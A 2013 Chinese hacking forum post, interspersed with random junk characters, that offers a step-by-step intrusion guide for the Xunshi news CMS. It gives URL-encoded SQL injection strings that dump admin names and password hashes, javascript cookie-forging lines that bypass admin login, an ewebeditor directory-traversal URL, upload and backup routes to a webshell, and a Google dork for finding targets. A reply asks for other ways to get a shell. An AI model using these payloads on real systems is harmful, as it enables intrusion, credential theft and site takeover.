找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2797|回复: 0
打印 上一主题 下一主题

讯时漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-16 21:25:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
by:血封忆尘
3 K" b: k3 X: h% a! N. Q$ N/ e5 K; K/ K: i3 A
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)* O/ y/ Q" \3 O* P9 _
; z" m& H$ \) ^
以下本文总结来自黑防去年第9期杂志上的内容...% d1 ?' t* h9 Q& h% ^+ R; M6 A) A2 u

0 U( T$ g( \! X; P先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%- \3 c( ]% M( H. p. j8 |2 x

1 E, |- Z1 U- g26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
& n% H6 y, S7 S  A- E$ ]) X* u) [  A
记得千万别多了空格,我测试站的时候就发现多了空格注入不出结果的情况
" m7 X* B0 a- f- Z这里一个注入& b; X7 d  H) g3 k  e5 l) n, }
. v+ c5 f# G7 d( i5 j. Z: V9 w
效果如图:' z$ t9 q  c& N! p6 _5 N; n: n

% x5 r& h( B6 Q  T. [
9 {7 |$ m3 x3 Z) W/ r7 M1 C& a% v+ o9 o4 n; U5 _2 M0 U+ q$ W' [1 V
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.0 L4 g' r) p3 [4 ]( n* O
: k8 |3 K' N( x* v# d. E; {7 u
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
6 Y% R( o3 d# M0 p# \! Q, d4 s* w. N. Z0 `
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));2 h' M2 |% j- S  h) D) W# _

% u8 l( u$ d5 ^: H: i7 n那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:0 n2 d* h$ w- \4 J$ M+ A

/ l* X2 H% m3 q0 K) r: @' G因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞7 ^) v* ~" |, t8 m& }

9 |0 }+ M6 C  U7 ^1 c' y; L" K它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以  m6 b* p5 q: {" K
/ U1 c6 {9 L0 w
访问这页面来列目录..步骤如下:
- R, y& b# f" G5 L5 }, C
: `0 v, Y6 H( A8 T3 y6 H/ Xjavascript:alert(document.cookie="admindj=1") * H( l3 E0 D. {2 j7 c

+ J$ j$ M: c5 e# Y* whttp://www.political-security.co ... asp?id=46&dir=../..
/ ]* N. r' L( _; w6 G  m) S2 h
# ~; j7 Z( J4 _! Z! l效果如图:
2 W' }# e- O* K' N" j) ^2 Y& |, b, x& y, a! s
  u* N  p. F) ^
6 a* T5 V; l& w1 ^; Q0 c
这样全站目录都能瞧了..找到后台目录..进去..4 W/ b- z6 z* D  x" B' O7 B& m

" b  H& ?/ t3 V/ [! K那么进了后台怎么拿shell??上传--备份就ok了..
( R2 W3 I+ d4 ]) B- s. T+ g6 T% f' S6 G/ T$ p, n% G6 U
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
! A; V# w. T6 G. a% t  n" K$ c. |. H5 f8 _
这个我也碰到过一次..你都可以通过列目录来实现..
' S# a5 I( J% z8 P0 Q- g4 w+ ]
5 A- Y. p; s2 e  g/ Pjavascript:alert(document.cookie="admindj=1")
( F4 M# H7 ]. X; W1 D4 C% R9 H- |; d
http://www.political-security.co ... p?action=BackupData " J5 i! \) Y! ?8 j

' R: `6 {1 H; t$ I备份ok..
- j- L- S  a$ s7 [7 ^
/ o5 L1 S2 S7 g3 G4 g+ G+ V1 @那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?! y% _! t& H- y

! x# K2 v; S  ]! C7 E) |& P在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下" X: d4 h- S8 y, [7 ?

% x8 r! |2 I6 N0 j6 q然后访问此页面进行注入..步骤如下:5 ^( Q% b9 \9 R; S% u

4 o6 B' Q2 e$ E/ B  ljavascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1"), {/ Y3 x2 z% C7 s# @+ p  O/ b$ B

$ I0 @4 {, o+ s. o- @* J然后请求admin/admin_chk.asp页面5 B8 ]8 ~8 T; f8 c" N

( w% G9 t+ a; i% j, M( _8 E, D输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
" h% Y  `! [; Y) x
6 k! o9 {' a, t1 S2 u$ k9 w26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin) Z6 L, e3 K( X( G' n/ A
9 b) N2 i- R( W
效果如图所示:5 n  y6 T9 M: ~3 v3 }1 R

% _3 K, [0 Y' b8 }5 [
2 B" a$ y1 e8 R8 m: [, }& I: U( z/ l  C9 Z, c
讯时漏洞2; V/ Y  P7 d+ H% x8 {+ `5 `4 [  s
google关键字:inurl:news_more.asp?lm2= (关键字很多的自己定义吧), D1 s/ J8 ~/ @- q1 D
6 I3 V# V) L) |! P/ P6 ]2 P, }
1、/admin/admin_news_pl_view.asp?id=1* P+ f% N4 s6 {* L' d, q: W& j
//id任意 填入以下语句
+ ^5 h+ p/ Y" H# j4 ]2 K- i) [" F& x
2 q& S+ j5 {2 I# t2、有时1显示错误信息的时候继续往后退2,3,4,我退到11才找到了页面,郁闷!% C: M* B2 [# m$ m' r
# h/ \7 p1 Y) X* T4 _4 G/ ^9 f% K
* y- [8 {$ Y, k% L" }$ z

+ A0 a, A# j! u- ?. f% D3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='+ O3 Z! r; O- c, h  l; s' W- e- H
  L5 t0 Q+ g5 L% H! f

9 ^3 w6 T" F! q$ r
4 q* I4 A+ u3 g3 H7 z, v; E/ a爆出管理员帐号和密码了9 s/ ^+ K" q6 y* S) M

0 s( @3 l7 l/ W2 U
/ i9 Z( [0 l; G3 Y9 D9 ~
  I9 R  l5 L8 [: q7 ]7 q, V4、cookies进后台
/ E; e2 ?3 C+ M
& a0 w4 ]( u5 P/ ]% v; N* xjavascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));1 l6 K9 G9 d9 d) ~9 c4 c5 q% v

2 r* p- m9 F& K+ }# ?. A% E- l5 F! C! H  I+ E" h( w. b

2 u4 K. ~" y$ X9 A% e5、后台用了cookie验证,直接访问http://www.political-security.com/admin/admin_index.asp就OK了!
) x3 m/ R7 }* Z) R. ?7 u; M
! C0 D: E) C& z( g$ \
& c, d: S( O% s! s  g2 _+ F, y5 x
3 q6 g7 ?+ e; `1 Y5 o" _6、后台有上传和备份取SHELL不难。- v4 M$ X) ]" u8 ^
1 |  x/ |/ q# X4 \( i
7、讯时还有个列目录漏洞:http://www.political-security.co ... asp?id=46&dir=../..
" ]+ k4 d/ O5 _$ Z4 X
- m( d+ T0 Z/ ^5 t& d逍遥复仇:我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL,有的说虽然后台显示但备份页面是存在的,登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData,我这个没有,郁闷着呢,谁还有其他办法提供一下,谢谢!; N) k/ x' A, C5 v5 {! h4 V" P3 A
2 c5 d. h* z! q; ]6 P
) A+ f1 W$ S$ K7 Z9 t
0 F; |8 e, m% _3 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表